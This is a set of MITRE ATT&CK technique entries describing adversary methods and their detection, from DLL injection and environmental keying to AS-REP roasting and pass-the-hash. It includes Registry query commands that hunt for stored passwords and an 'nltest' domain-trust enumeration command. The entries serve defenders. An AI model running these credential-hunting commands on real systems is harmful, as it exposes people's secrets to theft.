Adversaries may gain access and continuously communicate with victims by injecting malicious content into systems through online network traffic. Rather than luring victims to malicious payloads hosted on a compromised website (i.e., [Drive-by Target](https://attack.mitre.org/techniques/T1608/004) followed by [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)), adversaries may initially access victims through compromised data-transfer channels where they can manipulate traffic and/or inject their own content. These compromised online network channels may also be used to deliver additional payloads (i.e., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and other data to already compromised systems.(Citation: ESET MoustachedBouncer) Adversaries may inject content to victim systems in various ways, including: * From the middle, where the adversary is in-between legitimate online client-server communications (**Note:** this is similar but distinct from [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557), which describes AiTM activity solely within an enterprise environment) (Citation: Kaspersky Encyclopedia MiTM) * From the side, where malicious content is injected and races to the client as a fake response to requests of a legitimate online server (Citation: Kaspersky ManOnTheSide) Content injection is often the result of compromised upstream communication channels, for example at the level of an internet service provider (ISP) as is the case with "lawful interception."(Citation: Kaspersky ManOnTheSide)(Citation: ESET MoustachedBouncer)(Citation: EFF China GitHub Attack)

01 September 2023

enterprise-attack

Command and Control, Initial Access

T1055.001

Process Injection: Dynamic-link Library Injection

Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process. DLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>, then invoked with <code>CreateRemoteThread</code> (which calls the <code>LoadLibrary</code> API responsible for loading the DLL). (Citation: Elastic Process Injection July 2017) Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of <code>LoadLibrary</code>).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017) Another variation of this method, often referred to as Module Stomping/Overloading or DLL Hollowing, may be leveraged to conceal injected code within a process. This method involves loading a legitimate DLL into a remote process then manually overwriting the module's <code>AddressOfEntryPoint</code> before starting a new thread in the target process.(Citation: Module Stomping for Shellcode Injection) This variation allows attackers to hide malicious injected code by potentially backing its execution with a legitimate DLL file on disk.(Citation: Hiding Malicious Code with Module Stomping) Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process.

14 January 2020

enterprise-attack

Defense Evasion, Privilege Escalation

Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>CreateRemoteThread</code> and those that can be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be used for this technique.(Citation: Elastic Process Injection July 2017) Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.

T1608.004

Stage Capabilities: Drive-by Target

Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001). Prior to [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Adversaries may upload or inject malicious web content, such as [JavaScript](https://attack.mitre.org/techniques/T1059/007), into websites.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015) This may be done in a number of ways, including: * Inserting malicious scripts into web pages or other user controllable web content such as forum posts * Modifying script files served to websites from publicly writeable cloud storage buckets * Crafting malicious web advertisements and purchasing ad space on a website through legitimate ad providers (i.e., [Malvertising](https://attack.mitre.org/techniques/T1583/008)) In addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592)) to ensure it is vulnerable prior to attempting exploitation.(Citation: ATT ScanBox) Websites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is referred to a strategic web compromise or watering hole attack. Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).

17 March 2021

enterprise-attack

Resource Development

If infrastructure or patterns in the malicious web content utilized to deliver a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) have been previously identified, internet scanning may uncover when an adversary has staged web content for use in a strategic web compromise. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).

T1518.001

Software Discovery: Security Software Discovery

Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as cloud monitoring agents and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. Example commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), <code>reg query</code> with [Reg](https://attack.mitre.org/software/S0075), <code>dir</code> with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software. Adversaries may also utilize the [Cloud API](https://attack.mitre.org/techniques/T1059/009) to discover cloud-native security software installed on compute infrastructure, such as the AWS CloudWatch agent, Azure VM Agent, and Google Cloud Monitor agent. These agents may collect metrics and logs from the VM, which may be centrally aggregated in a cloud-based monitoring platform.

21 February 2020

enterprise-attack

Discovery

System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). In cloud environments, additionally monitor logs for the usage of APIs that may be used to gather information about security software configurations within the environment.

T1480.001

Execution Guardrails: Environmental Keying

Adversaries may environmentally key payloads or other features of malware to evade defenses and constraint execution to a specific target environment. Environmental keying uses cryptography to constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target. Environmental keying is an implementation of [Execution Guardrails](https://attack.mitre.org/techniques/T1480) that utilizes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.(Citation: EK Clueless Agents) Values can be derived from target-specific elements and used to generate a decryption key for an encrypted payload. Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses.(Citation: Kaspersky Gauss Whitepaper)(Citation: Proofpoint Router Malvertising)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware) By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult.(Citation: Kaspersky Gauss Whitepaper)(Citation: Ebowla: Genetic Malware) These difficulties can slow down the incident response process and help adversaries hide their tactics, techniques, and procedures (TTPs). Similar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), adversaries may use environmental keying to help protect their TTPs and evade detection. Environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution.(Citation: Kaspersky Gauss Whitepaper)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware)(Citation: Demiguise Guardrail Router Logo) By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection. Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult.(Citation: Kaspersky Gauss Whitepaper) This can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. Like other [Execution Guardrails](https://attack.mitre.org/techniques/T1480), environmental keying can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This activity is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of environmental keying will involve checking for an expected target-specific value that must match for decryption and subsequent execution to be successful.

23 June 2020

enterprise-attack

Defense Evasion

Detecting the use of environmental keying may be difficult depending on the implementation. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection.

T1482

Domain Trust Discovery

Adversaries may attempt to gather information on domain trust relationships that may be used to identify lateral movement opportunities in Windows multi-domain/forest environments. Domain trusts provide a mechanism for a domain to allow access to resources based on the authentication procedures of another domain.(Citation: Microsoft Trusts) Domain trusts allow the users of the trusted domain to access resources in the trusting domain. The information discovered may help the adversary conduct [SID-History Injection](https://attack.mitre.org/techniques/T1134/005), [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003), and [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).(Citation: AdSecurity Forging Trust Tickets)(Citation: Harmj0y Domain Trusts) Domain trusts can be enumerated using the `DSEnumerateDomainTrusts()` Win32 API call, .NET methods, and LDAP.(Citation: Harmj0y Domain Trusts) The Windows utility [Nltest](https://attack.mitre.org/software/S0359) is known to be used by adversaries to enumerate domain trusts.(Citation: Microsoft Operation Wilysupply)

14 February 2019

enterprise-attack

Discovery

System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation but as part of a chain of behavior that could lead to other activities based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information, such as `nltest /domain_trusts`. Remote access tools with built-in features may interact directly with the Windows API to gather information. Look for the `DSEnumerateDomainTrusts()` Win32 API call to spot activity associated with [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Harmj0y Domain Trusts) Information may also be acquired through Windows system management tools such as [PowerShell](https://attack.mitre.org/techniques/T1059/001). The .NET method `GetAllTrustRelationships()` can be an indicator of [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Microsoft GetAllTrustRelationships)

T1055.003

Process Injection: Thread Execution Hijacking

Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process. Thread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as <code>OpenThread</code>. At this point the process can be suspended then written to, realigned to the injected code, and resumed via <code>SuspendThread </code>, <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code>, <code>SetThreadContext</code>, then <code>ResumeThread</code> respectively.(Citation: Elastic Process Injection July 2017) This is very similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) but targets an existing process rather than creating a process in a suspended state. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process.

14 January 2020

enterprise-attack

Defense Evasion, Privilege Escalation

Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>CreateRemoteThread</code>, <code>SuspendThread</code>/<code>SetThreadContext</code>/<code>ResumeThread</code>, and those that can be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be used for this technique.(Citation: Elastic Process Injection July 2017) Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.

T1552.002

Unsecured Credentials: Credentials in Registry

Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons. Example commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials) * Local Machine Hive: <code>reg query HKLM /f password /t REG_SZ /s</code> * Current User Hive: <code>reg query HKCU /f password /t REG_SZ /s</code>

04 February 2020

enterprise-attack

Credential Access

Monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.

T1106

Native API

Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations. Adversaries may abuse these OS API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system. Native API functions (such as <code>NtCreateProcess</code>) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries.(Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API <code>CreateProcess()</code> or GNU <code>fork()</code> will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC) Higher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation) Adversaries may use assembly to directly or in-directly invoke syscalls in an attempt to subvert defensive sensors and detection signatures such as user mode API-hooks.(Citation: Redops Syscalls) Adversaries may also attempt to tamper with sensors and defensive tools associated with API monitoring, such as unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001).

31 May 2017

enterprise-attack

Execution

Monitoring API calls may generate a significant amount of data and may not be useful for defense unless collected under specific circumstances, since benign use of API functions are common and may be difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient. Utilization of the Windows APIs may involve processes loading/accessing system DLLs associated with providing called functions (ex: ntdll.dll, kernel32.dll, advapi32.dll, user32.dll, and gdi32.dll). Monitoring for DLL loads, especially to abnormal/unusual or potentially malicious processes, may indicate abuse of the Windows API. Though noisy, this data can be combined with other indicators to identify adversary activity.

T1550.001

Use Alternate Authentication Material: Application Access Token

Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials. Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used to access resources in cloud, container-based applications, and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta) For example, with a cloud-based email service, once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a "refresh" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017) Compromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. In AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account.(Citation: Google Cloud Service Account Credentials)(Citation: AWS Temporary Security Credentials) The adversary can then use this token to request data or perform actions the original account could not. If permissions for this feature are misconfigured – for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges.(Citation: Rhino Security Labs Enumerating AWS Roles) Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. For example, in AWS environments, an adversary who compromises a user’s AWS API credentials may be able to use the `sts:GetFederationToken` API call to create a federated user session, which will have the same permissions as the original user but may persist even if the original user credentials are deactivated.(Citation: Crowdstrike AWS User Federation Persistence) Additionally, access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.

30 January 2020

enterprise-attack

Defense Evasion, Lateral Movement

Monitor access token activity for abnormal use and permissions granted to unusual or suspicious applications and APIs. Additionally, administrators should review logs for calls to the AWS Security Token Service (STS) and usage of GCP service accounts in order to identify anomalous actions.(Citation: AWS Logging IAM Calls)(Citation: GCP Monitoring Service Account Usage)

T1072

Software Deployment Tools

Adversaries may gain access to and use centralized software suites installed within an enterprise to execute commands and move laterally through the network. Configuration management and software deployment applications may be used in an enterprise network or cloud environment for routine administration purposes. These systems may also be integrated into CI/CD pipelines. Examples of such solutions include: SCCM, HBSS, Altiris, AWS Systems Manager, Microsoft Intune, Azure Arc, and GCP Deployment Manager. Access to network-wide or enterprise-wide endpoint management software may enable an adversary to achieve remote code execution on all connected systems. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints. SaaS-based configuration management services may allow for broad [Cloud Administration Command](https://attack.mitre.org/techniques/T1651) on cloud-hosted instances, as well as the execution of arbitrary commands on on-premises endpoints. For example, Microsoft Configuration Manager allows Global or Intune Administrators to run scripts as SYSTEM on on-premises devices joined to Azure AD.(Citation: SpecterOps Lateral Movement from Azure to On-Prem AD 2020) Such services may also utilize [Web Protocols](https://attack.mitre.org/techniques/T1071/001) to communicate back to adversary owned infrastructure.(Citation: Mitiga Security Advisory: SSM Agent as Remote Access Trojan) Network infrastructure devices may also have configuration management tools that can be similarly abused by adversaries.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation) The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to access specific functionality.

31 May 2017

enterprise-attack

Execution, Lateral Movement

Detection methods will vary depending on the type of third-party software or system and how it is typically used. The same investigation process can be applied here as with other potentially malicious activities where the distribution vector is initially unknown but the resulting activity follows a discernible pattern. Analyze the process execution trees, historical activities from the third-party application (such as what types of files are usually pushed), and the resulting activities or events from the file/binary/script pushed to systems. Often these third-party applications will have logs of their own that can be collected and correlated with other data from the environment. Ensure that third-party application logs are on-boarded to the enterprise logging system and the logs are regularly reviewed. Audit software deployment logs and look for suspicious or unauthorized activity. A system not typically used to push software to clients that suddenly is used for such a task outside of a known admin function may be suspicious. Monitor account login activity on these applications to detect suspicious/abnormal usage. Perform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.

T1574.010

Hijack Execution Flow: Services File Permissions Weakness

Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM. Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.

12 March 2020

enterprise-attack

Defense Evasion, Persistence, Privilege Escalation

Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data. Look for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.

T1564.001

Hide Artifacts: Hidden Files and Directories

Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls –a</code> for Linux and macOS). On Linux and Mac, users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable. Files on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys. Adversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.

26 February 2020

enterprise-attack

Defense Evasion

Monitor the file system and shell commands for files being created with a leading "." and the Windows command-line use of attrib.exe to add the hidden attribute.

T1127.001

Trusted Developer Utilities Proxy Execution: MSBuild

Adversaries may use MSBuild to proxy execution of code through a trusted Windows utility. MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It handles XML formatted project files that define requirements for loading and building various platforms and configurations.(Citation: MSDN MSBuild) Adversaries can abuse MSBuild to proxy execution of malicious code. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# or Visual Basic code to be inserted into an XML project file.(Citation: MSDN MSBuild)(Citation: Microsoft MSBuild Inline Tasks 2017) MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application control defenses that are configured to allow MSBuild.exe execution.(Citation: LOLBAS Msbuild)

27 March 2020

enterprise-attack

Defense Evasion

Use process monitoring to monitor the execution and arguments of MSBuild.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.

T1558.004

Steal or Forge Kerberos Tickets: AS-REP Roasting

Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by [Password Cracking](https://attack.mitre.org/techniques/T1110/002) Kerberos messages.(Citation: Harmj0y Roasting AS-REPs Jan 2017) Preauthentication offers protection against offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002). When enabled, a user requesting access to a resource initiates communication with the Domain Controller (DC) by sending an Authentication Server Request (AS-REQ) message with a timestamp that is encrypted with the hash of their password. If and only if the DC is able to successfully decrypt the timestamp with the hash of the user’s password, it will then send an Authentication Server Response (AS-REP) message that contains the Ticket Granting Ticket (TGT) to the user. Part of the AS-REP message is signed with the user’s password.(Citation: Microsoft Kerberos Preauth 2014) For each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4. The recovered encrypted data may be vulnerable to offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002) attacks similarly to [Kerberoasting](https://attack.mitre.org/techniques/T1558/003) and expose plaintext credentials. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019) An account registered to a domain, with or without special privileges, can be abused to list all domain accounts that have preauthentication disabled by utilizing Windows tools like [PowerShell](https://attack.mitre.org/techniques/T1059/001) with an LDAP filter. Alternatively, the adversary may send an AS-REQ message for each user. If the DC responds without errors, the account does not require preauthentication and the AS-REP message will already contain the encrypted data. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019) Cracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)

24 August 2020

enterprise-attack

Credential Access

Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4768 and 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17], pre-authentication not required [Type: 0x0]).(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Microsoft Detecting Kerberoasting Feb 2018)(Citation: Microsoft 4768 TGT 2017)

T1550.002

Use Alternate Authentication Material: Pass the Hash

Adversaries may “pass the hash” using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. When performing PtH, valid password hashes for the account being used are captured using a [Credential Access](https://attack.mitre.org/tactics/TA0006) technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems. Adversaries may also use stolen password hashes to "overpass the hash." Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) attacks.(Citation: Stealthbits Overpass-the-Hash)

30 January 2020

enterprise-attack

Defense Evasion, Lateral Movement

Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious. Event ID 4768 and 4769 will also be generated on the Domain Controller when a user requests a new ticket granting ticket or service ticket. These events combined with the above activity may be indicative of an overpass the hash attempt.(Citation: Stealthbits Overpass-the-Hash)

T1213.002

Data from Information Repositories: Sharepoint

Adversaries may leverage the SharePoint repository as a source to mine valuable information. SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint: * Policies, procedures, and standards * Physical / logical network diagrams * System architecture diagrams * Technical system documentation * Testing / development credentials * Work / project schedules * Source code snippets * Links to network shares and other internal resources

14 February 2020

enterprise-attack

Collection

The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging). As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.

T1129

Shared Modules

Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., [Native API](https://attack.mitre.org/techniques/T1106)). Adversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, adversaries can modularize functionality of their malware into shared objects that perform various functions such as managing C2 network communications or execution of specific actions on objective. The Linux & macOS module loader can load and execute shared objects from arbitrary local paths. This functionality resides in `dlfcn.h` in functions such as `dlopen` and `dlsym`. Although macOS can execute `.so` files, common practice uses `.dylib` files.(Citation: Apple Dev Dynamic Libraries)(Citation: Linux Shared Libraries)(Citation: RotaJakiro 2021 netlab360 analysis)(Citation: Unit42 OceanLotus 2017) The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in `NTDLL.dll` and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like `LoadLibrary` at run time.(Citation: Microsoft DLL)

31 May 2017

enterprise-attack

Execution

Monitoring DLL module loads may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows modules load functions are common and may be difficult to distinguish from malicious behavior. Legitimate software will likely only need to load routine, bundled DLL modules or Windows system DLLs such that deviation from known module loads may be suspicious. Limiting DLL module loads to `%SystemRoot%` and `%ProgramFiles%` directories will protect against module loads from unsafe paths. Correlation of other events with behavior surrounding module loads using API monitoring and suspicious DLLs written to disk will provide additional context to an event that may assist in determining if it is due to malicious behavior.

T1218.010

System Binary Proxy Execution: Regsvr32

